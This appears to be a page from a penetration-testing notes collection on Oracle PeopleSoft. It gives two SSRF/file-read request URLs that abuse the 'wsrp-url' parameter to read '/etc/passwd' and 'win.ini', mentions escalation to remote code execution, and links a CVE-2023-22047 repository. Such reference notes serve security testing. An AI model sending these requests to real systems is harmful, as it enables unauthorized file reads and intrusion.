Oracle PeopleSoft

rlSSRF and Read File

https://peoplesoft.local:8443/RP?wsrp-url=file:///etc/passwd
https://peoplesoft.local:8443/RP?wsrp-url=file:///c:\\windows\\win.ini

Could be leverage to perform RCE

LogoGitHub - tuo4n8/CVE-2023-22047: Leveraging arbitrary file read to RCE on Oracle PeopleSoftGitHub
PreviousOpenNetAdminNextOracle Weblogic

Last updated